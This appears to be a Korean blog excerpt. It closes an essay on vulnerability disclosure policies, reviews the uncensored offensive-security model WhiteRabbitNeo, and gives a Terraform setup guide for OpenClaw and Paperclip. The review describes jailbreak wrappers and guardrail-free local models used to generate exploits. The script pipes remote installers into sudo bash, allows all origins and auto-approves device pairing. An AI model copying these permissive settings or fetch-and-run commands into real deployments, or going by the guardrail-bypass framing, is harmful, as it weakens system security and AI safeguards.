법적 리스크의 공포: 무엇보다 "내가 이 취약점을 테스트했다는 사실 자체로 정보통신망법 위반으로 고소당하지는 않을까?" 하는 두려움이 제보자를 위축시킨다.

이러한 정책의 부재는 결국 치명적인 결과로 이어진다. 제보 과정의 번거로움과 법적 리스크에 지친 화이트해커들은 결국 제보를 포기하고 침묵한다. 기관은 자신의 시스템에 존재하는 치명적인 취약점을 파악할 기회를 영영 잃게 되며, 훗날 이 취약점이 블랙해커의 손에 들어가 다크웹에서 거래되거나 랜섬웨어 공격의 통로로 유출되는 끔찍한 결말을 맞이하게 된다.

2. 거스를 수 없는 글로벌 트렌드: 해커를 아군으로 만들다

이러한 폐쇄적인 시스템의 한계를 일찍이 깨달은 곳은 다름 아닌 미국 정부였다. 강의 자료에 따르면, 2016년 미 국방부(DoD)는 미국 정부 산하 기관을 위해 만든 최초의 VDP를 도입하는 파격적인 행보를 보였다. 외부의 해커들을 잠재적 범죄자로 취급하며 쫓아내는 대신, 그들의 집단 지성을 국방 보안에 활용하기로 한 것이다.

이 흐름은 곧 글로벌 표준으로 자리 잡았다. 2020년, 미국 사이버보안 및 인프라 보안국(CISA)은 모든 연방 기관에 VDP를 의무적으로 설립하라는 강력한 지시를 내렸다. CISA와 DOI(미국 내무부) 등은 공식 VDP 템플릿까지 배포하며 적극적으로 정책 확산을 주도하고 있다.

"If you see something, say something. (무언가 잘못된 것을 보았다면 말하라)"

이 슬로건처럼, VDP의 본질적 목적은 선의의 보안 연구자들에게 "안심하고 취약점을 찾아내어 우리에게 알려달라, 우리는 절대 당신에게 법적 조치를 취하지 않겠다"는 강력한 안전망을 제공하여 그들을 아군으로 포섭하는 데 있다.

3. 제대로 된 VDP를 완성하는 5대 핵심 구성 요소

그렇다면 좋은 VDP란 무엇일까? 단순히 홈페이지 구석에 제보용 이메일 주소 하나 덜렁 적어놓는다고 VDP가 완성되는 것은 아니다. VDP가 실질적인 효력을 발휘하기 위해 반드시 포함되어야 할 5가지 세부 구성 요소를 다음과 같이 정의했다.

① 목적 및 약속 선언 (Purpose) VDP 문서의 서두를 장식하는 부분으로, 기관이 이 정책을 왜 필요로 하는지 그 철학을 담는다. 기관의 자산을 보호하기 위해 외부 보안 커뮤니티의 기여를 얼마나 소중하게 생각하고 존중하는지를 명확히 선언해야 한다.

② 범위 (Scope) 버그헌팅을 수행하는 해커들에게 가장 중요한 '합법의 내비게이션' 역할을 한다. 회사 자산 중 어떤 도메인(예: *.target.com), 어떤 서비스, 어떤 종류의 취약점(예: SQLi, XSS 등)을 찾아도 되는지 범위를 명시한다. 반대로 절대로 건드려서는 안 되는 'Out of Scope(예: 제3자 솔루션, 물리적 보안 테스트, DDoS 공격 등)'를 명확히 선 그어줌으로써, 연구자들이 불필요한 시스템 장애를 일으키지 않도록 가이드라인을 제공한다.

③ 법적 보호 (Safe Harbor) VDP의 존재 이유이자 가장 핵심적인 요소다. 연구자가 명시된 VDP 범위와 규칙을 준수하여 취약점을 찾고 제보했다면, 기업은 해당 행위를 승인된 것으로 간주하고 어떠한 민·형사상 법적 조치나 처벌도 요구하지 않겠다는 '면책 특권'을 선언하는 것이다. 이 조항이 확실하게 명시되어 있어야만 연구자들은 안심하고 시스템의 밑바닥까지 파고들 수 있다.

④ 프로세스 설명 (Process) 취약점을 찾아낸 제보자가 어떤 형식으로, 어떤 채널(이메일, 웹폼 등)을 통해 보고서를 제출해야 하는지 절차를 안내한다. 재현 단계(PoC), 영향을 받는 URL, 페이로드 등 제출 시 필수로 포함해야 하는 정보의 양식을 규정함으로써 보안 담당자가 빠르고 정확하게 취약점을 검증할 수 있도록 돕는다.

⑤ 보고서 평가 방법 (Evaluation & Feedback) 자신의 시간과 노력을 들여 제보한 연구자들에게 진행 상황을 투명하게 공유하는 정책이다. 보고서 제출 후 첫 응답까지 소요되는 최대 시간(SLA), 취약점 패치 진행 상황, 그리고 조치가 완료된 후 해당 취약점 세부 내용을 언제부터 블로그나 외부 매체에 공개할 수 있는지에 대한 상호 합의 과정을 담는다. (필요에 따라 포상금(Bounty) 지급이나 명예의 전당(Hall of Fame) 등재에 대한 보상 정책이 함께 포함되기도 한다.)

4. 보안은 열린 태도에서 시작된다

기술적인 해킹 기법 이전에 보안의 '정책적 토대'가 얼마나 중요한지 깊이 알 수 있다. 현대의 IT 인프라는 너무나 거대하고 복잡해서, 조직 내부의 제한된 인력만으로는 하루가 다르게 쏟아지는 제로데이 취약점들을 모두 막아낼 수 없다.

결국 보안의 완성은 폐쇄가 아니라 개방에 있다. 이웃의 뒷문이 열려있는지 확인해 주고 선뜻 닫아주려는 전 세계의 화이트해커들을 우리 편으로 만들기 위해서는, 기업 스스로 '법적 보호'라는 단단한 방패와 '명확한 소통 창구'를 구축하는 것이 최우선 과제다. 앞으로 모의 해킹과 버그헌팅을 수행함에 있어, 타겟 기업의 VDP 존재 유무와 그 5가지 구성 요소의 중요성을 염두해둘 의미가 있을것이다.

WhiteRabbitNeo - 보안의 공격과 방어에 특화된 로컬 AI

wogho — Thu, 28 May 2026 05:50:49 +0900

AI 에이전트의 보안 활용

2023년 6월 WormGPT가 등장한 이후, AI 기반의 해킹 도구는 다크웹과 텔레그램을 비롯해 GitHub, Hugging Face 등으로 빠르게 확산되었다. 현재 관련 시장은 유료 구독형 SaaS 모델과 무료 오픈소스 배포가 공존하는 산업 구조로 진화했다.

이러한 도구들의 주요 기능은 피싱 자동화, 악성코드 개발, 타겟 정찰, 브루트포스, 취약점 익스플로잇, 소셜 엔지니어링 등 세분화된 영역으로 분화되었다. 그 결과 시장에는 WormGPT, FraudGPT, EvilGPT, KawaiiGPT, Xanthorox, HexStrike AI, BruteForce AI 등 수많은 공격용 도구가 활발하게 유통되었다.

이 같은 AI 도구의 등장으로 인해 사이버 공격의 진입장벽이 낮아진 것은 사실이다. 그러나 그 실질적인 영향력은 공격의 전 과정이 아닌 특정 단계에 제한되며, 핵심적인 공격 인프라를 구축하고 운영하는 데에는 여전히 고도의 기술적 전문성이 요구된다.

결국 우리가 직면한 AI 위협의 본질은 최신 모델 자체의 성능에 있는 것이 아니다. 강력한 AI 역량이 아무런 통제 장치 없이 걷잡을 수 없이 확산되는 구조적 한계에 근본적인 위험이 존재한다.

WhiteRabbitNeo는 무엇인가

기존 다크웹과 텔레그램에서 유통되던 AI 해킹 도구들은 기술적 한계와 치명적인 작전 보안(OpSec) 리스크를 안고 있었다.

시장에 난립한 다수의 도구는 독자적인 AI 모델을 개발한 것이 아니라, Mistral이나 Grok 같은 상용 AI API에 교묘한 탈옥(Jailbreak) 프롬프트를 씌운 단순 래퍼(Wrapper) 구조이거나 Hugging Face의 언센서드(안전장치가 제거된) 모델을 대충 엮어놓은 형태에 불과했다.

이러한 SaaS(서비스형 소프트웨어) 형태의 해킹 도구는 공격자의 활동 내역이 외부 서버에 남는다는 치명적인 약점을 지닌다. 실제로 범죄용 AI의 대명사였던 WormGPT는 사용자 DB가 유출되면서 1만 9천여 명의 이메일, 결제 정보, 구독 기록이 만천하에 공개되는 참사를 겪었다. 흔적을 남기지 않고 은밀하게 타겟을 타격해야 하는 레드팀과 공격자 입장에서는 절대 신뢰할 수 없는 인프라인 셈이다.

이러한 추적과 노출의 위험을 회피하기 위해, 공격 생태계는 오픈소스를 적극적으로 악용하는 방향으로 급선회했다. 일례로 무료로 공개된 AI 해킹 도구 KawaiiGPT는 다크웹이 아닌 GitHub를 통해 버젓이 배포되었으며, 안드로이드 터미널 환경인 Termux까지 지원했다. 이는 스마트폰 한 대만 있으면 언제 어디서든 해킹 스크립트를 생성할 수 있게 되었음을 의미한다.

하지만 진정한 위협의 정점은 기기에 직접 설치하여 구동하는 '로컬 언센서드(Uncensored) 모델'의 등장이다. 이 지점에서 WhiteRabbitNeo가 레드팀의 핵심 작전 무기로 부상한다.

https://huggingface.co/WhiteRabbitNeo/

WhiteRabbitNeo (WhiteRabbitNeo)

Org profile for WhiteRabbitNeo on Hugging Face, the AI community building the future.

huggingface.co

WhiteRabbitNeo를 비롯해 Llama 2 Uncensored, Dolphin 시리즈, Wizard-Vicuna Uncensored 같은 모델들은 윤리적 가드레일이 완전히 제거된 상태로 오프라인 로컬 환경에서 실행된다. 외부 API와 통신하지 않기 때문에 공격을 기획하는 프롬프트나 타겟의 취약점 데이터가 외부로 유출될 확률은 상당히 적다. 또한 횟수 제한이나 구독료 같은 비용 부담 없이 무제한으로 익스플로잇 코드를 생성하고 분석할 수 있다.

더욱 치명적인 사실은 Ollama와 같이 로컬에서 AI 모델을 손쉽게 실행해 주는 프레임워크가 대중화되었다는 점이다. 과거에는 로컬 AI를 구축하기 위해 복잡한 환경 설정이 필요했지만, 이제는 Ollama를 통해 명령어 몇 줄만으로 WhiteRabbitNeo 같은 해킹 특화 모델을 즉각적으로 구동할 수 있다. 기술적 진입 장벽마저 붕괴되면서, 레드팀은 완벽한 익명성과 보안이 보장된 강력한 해킹 AI 에이전트를 자신의 랩탑 안에 손쉽게 구축할 수 있게 되었다.

WhiteRabbitNeo가 다루는 주제:

- Open Ports: Identifying open ports is crucial as they can be entry points for attackers. Common ports to check include HTTP (80, 443), FTP (21), SSH (22), and SMB (445).
- Outdated Software or Services: Systems running outdated software or services are often vulnerable to exploits. This includes web servers, database servers, and any third-party software.
- Default Credentials: Many systems and services are installed with default usernames and passwords, which are well-known and can be easily exploited.
- Misconfigurations: Incorrectly configured services, permissions, and security settings can introduce vulnerabilities.
- Injection Flaws: SQL injection, command injection, and cross-site scripting (XSS) are common issues in web applications.
- Unencrypted Services: Services that do not use encryption (like HTTP instead of HTTPS) can expose sensitive data.
- Known Software Vulnerabilities: Checking for known vulnerabilities in software using databases like the National Vulnerability Database (NVD) or tools like Nessus or OpenVAS.
- Cross-Site Request Forgery (CSRF): This is where unauthorized commands are transmitted from a user that the web application trusts.
- Insecure Direct Object References: This occurs when an application provides direct access to objects based on user-supplied input.
- Security Misconfigurations in Web Servers/Applications: This includes issues like insecure HTTP headers or verbose error messages that reveal too much information.
- Broken Authentication and Session Management: This can allow attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users' identities.
- Sensitive Data Exposure: Includes vulnerabilities that expose sensitive data, such as credit card numbers, health records, or personal information.
- API Vulnerabilities: In modern web applications, APIs are often used and can have vulnerabilities like insecure endpoints or data leakage.
- Denial of Service (DoS) Vulnerabilities: Identifying services that are vulnerable to DoS attacks, which can make the resource unavailable to legitimate users.
- Buffer Overflows: Common in older software, these vulnerabilities can allow an attacker to crash the system or execute arbitrary code.
- More ..

WhiteRabbitNeo 사용 후기

현존하는 오픈소스 보안 특화 모델 중 가장 강력한 추론 능력을 가진 'Llama-3.1-WhiteRabbitNeo-2-70B'의 성능을 검증하기 위해 직접 구동 환경을 구축해 보았다.

사실 완벽한 운영 보안(OpSec)을 위해 Mac Studio Ultra나 멀티 GPU 워크스테이션을 이용해 외부와 차단된 '인터넷 에어갭(Air-gap) 로컬 환경'을 구축하는 것이 정석이다. 또한, 클라우드를 쓰더라도 영구 NVMe 스토리지를 지원하는 RunPod이나 Lambda Labs 같은 전용 GPU 인프라를 사용하는 것이 I/O 병목을 줄이는 길이다.

하지만 고가의 장비가 없는 개인 연구자나 비용 효율적인 PoC(개념 검증)를 원하는 환경에서는 하드웨어 장벽이 존재한다. 이에 필자는 Google Colab A100 환경을 활용하여 가성비와 접근성을 극대화한 우회적인 테스트 베드를 구축했다.

70B 모델은 양자화(4-bit 등)를 거치더라도 파일 크기가 수십 GB에 달한다. 코랩의 휘발성 세션 문제를 해결하기 위해 Google Drive를 마운트하여 모델 가중치(Weights) 파일을 영구 보관하는 방식을 취했다. 클라우드 스토리지 특성상 초기 모델 로딩 시 FUSE 파일 시스템의 I/O 병목으로 인해 구동까지 다소 시간이 소요되는 단점이 있지만, 별도의 장비 구매 비용 없이 고성능 A100 GPU의 연산력을 활용할 수 있다는 점에서 타협할 만한 선택지였다.

또한, 치명적 단점이라 한다면, Colab은 세션이 종료되면 데이터가 초기화되는 휘발성 환경이다. 매번 세션을 열 때마다 수십 기가바이트(GB)에 달하는 70B 모델의 가중치(Weights) 파일을 새로 다운로드하는 것은 극심한 시간 낭비이자 비효율이다.

마지막으로, 사용자의 편의성과 작전 효율성을 극대화하기 위해 터미널 환경이 아닌 Open WebUI를 연동했다. 백엔드에서 Colab A100이 연산을 담당하고, 프론트엔드에서는 Open WebUI를 통해 사용자와 소통하는 구조다. Open WebUI는 일반적인 ChatGPT와 유사한 직관적인 채팅 인터페이스를 제공하므로, 방대한 Nmap 스캔 결과를 복사해 붙여넣거나 여러 줄의 익스플로잇 코드를 수정하고 검토하는 과정에서 뛰어난 작업 환경을 제공했다.

결론

대중은 대형 범용 AI 모델에 적용된 강력한 윤리적 검열과 안전장치를 환영하지만, 보안 실무자들의 입장은 이와 다르다. WhiteRabbitNeo의 주요 후원사이자 생성형 AI 오케스트레이션 전문 기업인 Kindo의 제품 부사장 앤디 마노스케(Andy Manoske)는 "이러한 검열은 방어자가 자사 인프라에 대해 심도 있는 보안 질문조차 할 수 없게 만든다는 것을 의미한다"고 지적했다. 현대의 거대 언어 모델(LLM)은 모의 침투(Pentesting)를 훌륭하게 지원할 능력을 갖추고 있지만, 주요 상용 모델들은 정책적으로 이를 철저히 차단하고 있기 때문이다.

마노스케의 설명에 따르면, WhiteRabbitNeo는 철저히 '공격적 보안(Offensive Security)'을 위해 탄생한 생성형 AI 모델이다. 이 모델의 진정한 목적은 보안 팀이 자사 인프라를 면밀히 점검하고, 실제 악용 가능한 취약점을 찾아내어(직접 익스플로잇을 개발해 봄으로써), 그에 대한 가장 확실한 해결책을 마련하도록 돕는 데 있다.

이번 기회에 WhiteRabbitNeo와 같은 모델을 직접 찾아보고 테스트 환경을 구축하게 된 결정적인 이유 역시, 보안을 깊이 있게 공부하는 입장에서 마주한 '검열의 한계' 때문이었다. 현재 몇몇 범용 AI 에이전트들이 교육 목적으로 기초적인 보안 지식을 제공하고 있기는 하다. 그러나 이들이 허용하는 답변은 철저히 방어(블루팀)의 관점과 이론적인 수준에 편중되어 있다.

진정한 사이버 보안 역량을 기르기 위해서는 블루팀뿐만 아니라, 실제 시스템을 타격하는 레드팀의 기법을 포함해 보안의 전 분야를 입체적으로 공부해야만 한다고 생각한다. 공격자가 어떤 원리로 취약점을 찌르고 시스템을 장악하는지 그 로우레벨(Low-level)의 흐름을 이해하지 못하면, 절대 견고한 방어 체계를 구축할 수 없기 때문이다.

결국 다가오는 사이버 보안의 미래는 막강한 AI 역량이 무분별하게 확산되는 구조적 한계를 안고 있다. 누구나 강력한 해킹 AI를 로컬에 구축할 수 있는 시대에, 방어자에게 남은 선택지는 단 하나다. 공격자들보다 한발 앞서 이 날카로운 양날의 검을 손에 쥐고, '방어자의 AI'로 '공격자의 AI'에 맞서는 냉혹한 무한 경쟁에 뛰어드는 것이다.

OpenClaw 환경 구축기 (GitHub Copilot 및 Paperclip 연동)

wogho — Thu, 2 Apr 2026 15:44:33 +0900

해당 글은 Terraform을 통한 OpenClaw 설치 환경을 보여줍니다.
직접 타이핑하여 세팅하셔도 되고, Docker를 사용하셔도 좋습니다.
개인적으로 Docker가 가장 편안 선택지 아닐까 싶습니다.

Terraform 설치와 Oracle Cloud 인프라 구성은 해당 글을 참고 하시길 바랍니다.
로컬에 구축하셔도 좋고, 따로 개인 서버 돌리셔도 됩니다.

Terraform 활용한 Oracle Cloud 인스턴스 생성 — 눙이의 인프라 메모장

Terraform 활용한 Oracle Cloud 인스턴스 생성

OCI는 장기적인 인프라 관리의 어려움과 장기간 미사용에 대한 서버처리로 인해서 지속적으로 프로비저닝 해야하는 큰 불편이 있습니다.해당 글은 Terraform를 활용하여 Oracle Cloud 인스턴스 생성하

noong2.tistory.com

GitHub Copilot

GPT 모델을 무료로 사용하기 위해서는 GitHub Education 계정이 필요합니다.
만 13세 이상의 중학생부터 대학생, 교사 신분이시라면 날짜가 명시된 재학증명서을 통해서 신청이 가능합니다.

GitHub Education

GitHub Education

github.com

학생 신분에 해당이 안된다면, 월 $10으로 이용이 가능하겠습니다.
저는 학생 계정이지만 Claude Opus 사용할것이기 때문에 Pro 플랜을 구독하였습니다.

이것 또한 부담이 되신다면, 사양 좋은 로컬 환경에 vLLM이나
무료 모델인 qwen3-coder:free 사용도 하나의 대안입니다.

Github 전체 요금제에 대한 비교 항목입니다.

GitHub 코필로트 계획 - GitHub 문서

GitHub 코필로트 계획 - GitHub 문서

Copilot에 사용 가능한 플랜에 대해 알아보세요.

docs.github.com

Github 플랜에 구독 하셨다면, OpenClaw 연동을 위한 키 발급이 필요합니다.
Github에 로그인 하셔서 다음 과정을 진행합니다.

프로필 아이콘 - Settings

Developer settings

Personal access tokens - Tokens (classic)

Copilot 선택 후 Generate token

키 값을 복사하여 따로 메모해둡니다.

토큰은 생성 직후 한 번만 보여주며, 놓치면 재발급해야 합니다.
발급한 토큰은 Terraform 변수 llm_api_key에 넣을 예정입니다.

Discord 봇

에이전트 소통을 위한 Discode 봇을 생성합니다.
텔레그램이나 슬랙같은 다른 메신저 앱도 연동이 가능합니다.

https://discord.com/developers/applications

Discord for Developers

Build games, experiences, and integrations for millions of users on Discord.

discord.com

Discord Developer 접속 후 신규 앱 만들기 - 애플리케이션 ID 복사

해당 애플리케이션 ID는 Terraform 변수 discord_client_id에 넣을 예정입니다.

Reset Token클릭 → 확인 → 토큰 복사

해당 Bot token은 Terraform 변수 discord_bot_token에 넣을 예정입니다.
토큰은 Reset 직후 한 번만 보여주며, 놓치면 다시 Reset해야 합니다.

이후 아래 3가지 항목을 체크합니다. - Save Changes

봇을 Discord 서버에 초대하기 위한 아래 링크로 이동합니다.

# 아래 URL에서 `<클라이언트ID>`를 위에서 복사한 Application ID로 교체:

https://discord.com/oauth2/authorize?client_id=<클라이언트ID>&permissions=277025770560&scope=bot

봇을 추가할 서버 선택 → Continue → Authorize
서버 멤버 목록에 봇이 나타나면 성공합니다.

Notion 토큰 (선택)

저는 추가적으로 Notion 연동을 선택 하였습니다.
아래 링크를 통해 API 키를 발급해줍니다.

마켓플레이스 프로필 | Notion

The AI workspace that works for you. | Notion

Build Custom Agents, search across all your apps, and automate busywork. The AI workspace where teams get more done, faster.

www.notion.com

New integration → 이름 입력 → 연결할 워크스페이스 선택 → Submit

Internal Integration Secret (`ntn_xxxx...`)을 복사 하여
Terraform 변수 notion_token에 넣을 예정입니다.

Notion에서 연동할 페이지/DB 열기 → 우측 상단 `···` → Connections → 생성한 Integration 추가

Integration을 페이지에 연결하지 않으면 API가 해당 페이지에 접근할 수 없습니다.

Terraform 구축

`discord_bot_token`: Discord Developer Portal → Bot → Reset Token
`discord_client_id`: Discord Developer Portal → General Information → Application ID
`llm_api_key`: GitHub Settings → Developer settings → Fine-grained PAT
`notion_token`: Notion → My Integrations → Internal Secret
`better_auth_secret`: 비워두면 자동 생성 (`openssl rand -hex 32`)

`terraform.tfvars` 파일로 한꺼번에 관리하면 편합니다.

# apps/terraform.tfvars 
discord_bot_token  = "MTIxNjk4..."
discord_client_id  = "1231234567890"
llm_api_key        = "github_pat_11AXXXXX..."
notion_token       = ""

Terraform 구축

메인 파이프라인

`null_resource`의 `remote-exec` provisioner를 6개로 나눠서,
각 단계가 독립적으로 실행, 디버깅 가능하게 구성하였습니다.

Phase 0: 기본 패키지 + Node.js 22.x
Phase 1: PM2 클린업
Phase 2: OpenClaw 설치 & 설정
Phase 3: Paperclip 설치 & 설정
Phase 4: nginx HTTPS 리버스 프록시
Phase 5: PM2 자동 시작 등록

이후 부터 IDE를 통해 바이브코딩하시면 더욱 좋습니다.

install_apps.tf (OpenClaw + PaperClip)

OpenClaw의 openclaw config set은 단순 key=value만 지원합니다.
`models.providers`처럼 배열/중첩 객체가 필요한 설정은 Python으로 직접 JSON 편집해야 합니다.

Github 연결과 LLM 모델명을 GPT5-mini로 설정 해주셔야 제한 한도내에 무료로 이용이 가능합니다.

여기서 주의할점은 절대 `github-models` 프로바이더로 사용을 하시면 안됩니다. (github-copilot 사용)
`github-models`는 GitHub Models API를 직접 호출하며, 요청당 8,000 토큰 하드 리밋이 있습니다. (Pro 포함)
때문에 유료 전환 시에도 과금 발생 ($0.00001/토큰 유닛)
`github-copilot` 프로바이더를 사용하면 Copilot Edu, Pro 구독으로 무료 + 128K 컨텍스트 사용 가능합니다.

GitHub Copilot - OpenClaw

GitHub Copilot - OpenClaw

docs.openclaw.ai

# ============================================================
# install_apps.tf
# OpenClaw & Paperclip AI 에이전트 및 디스코드 봇 구축용
# ============================================================

# ────────────────────────────────────────────────────────────
# 0. infra state에서 서버 IP 자동 참조
# ────────────────────────────────────────────────────────────
data "terraform_remote_state" "infra" {
  backend = "local"
  config = {
    path = "${path.module}/../infra/terraform.tfstate"
  }
}

locals {
  server_ip = data.terraform_remote_state.infra.outputs.instance_public_ip
}

# ────────────────────────────────────────────────────────────
# 1. 사용자 입력 변수 설정
# ────────────────────────────────────────────────────────────

variable "discord_bot_token" {
  description = "디스코드 봇 토큰"
  type        = string
  default     = "<Discord Developer Portal → Bot → Reset Token에서 발급한 봇 토큰>"
}

variable "llm_model" {
  description = "사용할 LLM 모델명 (github-copilot 프로바이더 사용)"
  type        = string
  default     = "gpt-5-mini"
}

variable "notion_token" {
  description = "Notion 통합 토큰"
  type        = string
  default     = "<Notion → My Integrations → Internal Integration Secret>"
}

variable "discord_client_id" {
  description = "디스코드 애플리케이션 Client ID (봇 초대 시 주로 필요)"
  type        = string
  default     = ""
}

variable "better_auth_secret" {
  description = "Paperclip authenticated 모드용 시크릿 (빈 값이면 서버에서 자동 생성)"
  type        = string
  default     = ""
}


# ────────────────────────────────────────────────────────────
# 2. 설치 및 실행 스크립트 (독립 실행형)
# ────────────────────────────────────────────────────────────

resource "null_resource" "install_ai_agents" {
  triggers = {
    config_hash = md5(join("-", [
      var.discord_bot_token,
      var.notion_token,
      var.llm_model,
      var.better_auth_secret,
      local.server_ip,
    ]))
  }

  connection {
    type        = "ssh"
    host        = local.server_ip
    user        = "ubuntu"
    private_key = file("<SSH 프라이빗 키 경로, 예: ~/.ssh/my_key.pem>")
    timeout     = "20m"
  }

  # ── Phase 0: 기본 패키지 & Node.js 22.x 강제 설치 ──────────
  provisioner "remote-exec" {
    inline = [
      "set -e",
      "LOG=/home/ubuntu/ai_setup.log",
      "exec >> \"$LOG\" 2>&1",
      "echo ''",
      "echo '========================================================'",
      "echo \"=== AI 에이전트 설치 시작: $(date '+%Y-%m-%d %H:%M:%S') ===\"",
      "echo '========================================================'",

      "export DEBIAN_FRONTEND=noninteractive",

      # iptables — SSH + 서비스 포트 + HTTPS 먼저 열기 (REJECT 규칙보다 앞에)
      "sudo iptables -I INPUT 1 -p tcp --dport 22    -j ACCEPT || true",
      "sudo iptables -I INPUT 2 -p tcp --dport 443   -j ACCEPT || true",
      "sudo iptables -I INPUT 3 -p tcp --dport 3443  -j ACCEPT || true",
      "sudo iptables -I INPUT 4 -p tcp --dport 18789 -j ACCEPT || true",
      "sudo iptables -I INPUT 5 -p tcp --dport 3100  -j ACCEPT || true",
      "sudo iptables-save | sudo tee /etc/iptables.rules > /dev/null || true",

      # 기본 패키지 + nginx (HTTPS reverse proxy용)
      "sudo apt-get update -y",
      "sudo apt-get install -y git curl wget build-essential jq python3 nginx openssl",

      # ── Node.js 22.x 강제 설치 ──
      # cloud-init이 Node 20.x를 먼저 설치하므로 조건 없이 항상 22.x 설치
      "echo '>>> Node.js 22.x 강제 설치 (기존 버전 무시)'",
      "curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -",
      "sudo apt-get install -y --allow-downgrades nodejs",
      "echo \">>> Node version: $(node -v)\"",

      # 현재 Node 버전 검증 (22.12 이상 필수)
      "NODE_MAJOR=$(node -v | sed 's/v//' | cut -d. -f1)",
      "if [ \"$NODE_MAJOR\" -lt 22 ]; then",
      "  echo 'ERROR: Node.js 22+ 설치 실패' && exit 1",
      "fi",

      # npm 글로벌 도구 — Node 22 기준으로 재설치
      "sudo npm install -g pnpm@latest",
      "sudo npm install -g pm2@latest",
      "echo \">>> pnpm version: $(pnpm -v)\"",
      "echo \">>> pm2  version: $(pm2 -v)\"",

      # Docker (이미 설치되어 있으면 건너뜀)
      "if ! command -v docker > /dev/null 2>&1; then",
      "  curl -fsSL https://get.docker.com -o /tmp/get-docker.sh && sudo sh /tmp/get-docker.sh",
      "  sudo usermod -aG docker ubuntu",
      "fi",
      "sudo systemctl enable docker && sudo systemctl start docker || true",
    ]
  }

  # ── Phase 1: PM2 정리 & 기존 프로세스 전부 제거 ────────────
  provisioner "remote-exec" {
    inline = [
      "set -e",
      "exec >> /home/ubuntu/ai_setup.log 2>&1",
      "echo ''",
      "echo '=== PM2 클린업 ==='",

      # 기존 PM2 프로세스 & 데몬 완전 제거
      "pm2 kill 2>/dev/null || true",
      "pm2 flush 2>/dev/null || true",

      # OpenClaw gateway가 포트를 잡고 있을 수 있으므로 강제 종료
      "pkill -f 'openclaw.mjs' 2>/dev/null || true",
      "pkill -f 'openclaw gateway' 2>/dev/null || true",
      "sleep 2",

      # 포트 18789/3100/13100 을 사용 중인 프로세스 정리
      "sudo fuser -k 18789/tcp 2>/dev/null || true",
      "sudo fuser -k 3100/tcp  2>/dev/null || true",
      "sudo fuser -k 13100/tcp 2>/dev/null || true",
      "sleep 1",
      "echo '>>> PM2 클린업 완료'",
    ]
  }

  # ── Phase 2: OpenClaw 설치 & 설정 ──────────────────────────
  provisioner "remote-exec" {
    inline = [
      "set -e",
      "exec >> /home/ubuntu/ai_setup.log 2>&1",
      "echo ''",
      "echo '=== OpenClaw 설치 ==='",

      # OpenClaw 글로벌 설치
      "sudo npm install -g openclaw@latest",
      "echo \">>> OpenClaw version: $(openclaw --version 2>/dev/null || echo 'unknown')\"",

      # ── OpenClaw 설정: openclaw config set CLI 사용 ──
      # (주의: 구버전의 agent 키가 아닌 새 스키마 사용)
      "openclaw config set gateway.mode    local",
      "openclaw config set gateway.bind    lan",
      "openclaw config set channels.discord.token '${var.discord_bot_token}'",
      # ── GitHub Copilot 프로바이더 인증 (device flow) ──
      # ⚠️ github-models 절대 사용 금지! 요청당 8K 토큰 제한 + 과금됨
      # github-copilot은 Copilot Pro 구독에 포함 (추가 비용 없음)
      "openclaw models auth login-github-copilot --yes || echo 'Copilot 인증 실패 — 수동으로 실행 필요'",
      "openclaw models set github-copilot/${var.llm_model}",

      # trustedProxies + controlUi.allowedOrigins — Python으로 주입
      <<-PYBLOCK
      python3 -c "
import json, os, pathlib

config_path = pathlib.Path(os.path.expanduser('~/.openclaw/openclaw.json'))
config = json.loads(config_path.read_text()) if config_path.exists() else {}

# nginx(127.0.0.1)를 trusted proxy로 등록 — 프록시 경유 시 로컬 취급
config.setdefault('gateway', {})
config['gateway']['trustedProxies'] = ['127.0.0.1', '::1']

# Control UI 외부 origin 허용
config['gateway'].setdefault('controlUi', {})
config['gateway']['controlUi']['allowedOrigins'] = ['*']

# Discord 채널 정책: 'open'으로 설정하여 모든 채널에서 봇 응답 허용
# (기본값 'allowlist'는 허용 목록이 비어있어 모든 채널이 차단됨)
config.setdefault('channels', {})
config['channels'].setdefault('discord', {})
config['channels']['discord']['groupPolicy'] = 'open'

config_path.write_text(json.dumps(config, indent=2))
print('>>> OpenClaw config updated via Python')
"
      PYBLOCK
      ,

      # OpenClaw 설정 확인
      "echo '>>> OpenClaw config:'",
      "cat ~/.openclaw/openclaw.json | jq . 2>/dev/null || cat ~/.openclaw/openclaw.json",

      # ── PM2용 bash wrapper 스크립트 생성 ──
      # PM2는 .mjs 심볼릭 링크에 -- 인자를 전달할 수 없으므로 wrapper 필요
      "OPENCLAW_MJS=$(readlink -f $(which openclaw) 2>/dev/null || echo '/usr/lib/node_modules/openclaw/openclaw.mjs')",
      "cat > /home/ubuntu/start-openclaw.sh << 'WRAPPER'",
      "#!/bin/bash",
      "exec /usr/bin/node $OPENCLAW_MJS gateway",
      "WRAPPER",
      # wrapper 안의 $OPENCLAW_MJS를 실제 경로로 치환
      "sed -i \"s|\\$OPENCLAW_MJS|$OPENCLAW_MJS|g\" /home/ubuntu/start-openclaw.sh",
      "chmod +x /home/ubuntu/start-openclaw.sh",
      "echo \">>> Wrapper script: $(cat /home/ubuntu/start-openclaw.sh)\"",

      # PM2로 OpenClaw gateway 실행
      "pm2 start /home/ubuntu/start-openclaw.sh --name openclaw --interpreter bash",
      "sleep 8",

      # 첫 번째 대기 중인 장치 pairing 자동 승인
      "openclaw devices approve --latest 2>/dev/null || echo '대기 중인 pairing 요청 없음'",

      "pm2 logs openclaw --lines 15 --nostream || true",
      "echo '>>> OpenClaw 설치 완료'",
    ]
  }

  # ── Phase 3: Paperclip 설치 & 설정 ─────────────────────────
  provisioner "remote-exec" {
    inline = [
      "set -e",
      "exec >> /home/ubuntu/ai_setup.log 2>&1",
      "echo ''",
      "echo '=== Paperclip 설치 ==='",

      # Paperclip 소스 클론
      "sudo mkdir -p /opt/paperclip",
      "sudo chown ubuntu:ubuntu /opt/paperclip",
      "cd /opt/paperclip",

      "if [ ! -d '/opt/paperclip/.git' ]; then",
      "  git clone https://github.com/paperclipai/paperclip.git /opt/paperclip",
      "else",
      "  cd /opt/paperclip && git pull --ff-only || true",
      "fi",
      "cd /opt/paperclip",

      # BETTER_AUTH_SECRET 생성 (변수 비어있으면 자동 생성)
      "BETTER_AUTH_SECRET='${var.better_auth_secret}'",
      "if [ -z \"$BETTER_AUTH_SECRET\" ]; then",
      "  BETTER_AUTH_SECRET=$(openssl rand -hex 32)",
      "  echo \">>> BETTER_AUTH_SECRET 자동 생성됨\"",
      "fi",

      # .env 생성
      "cat > /opt/paperclip/.env << EOT",
      "LLM_MODEL=${var.llm_model}",
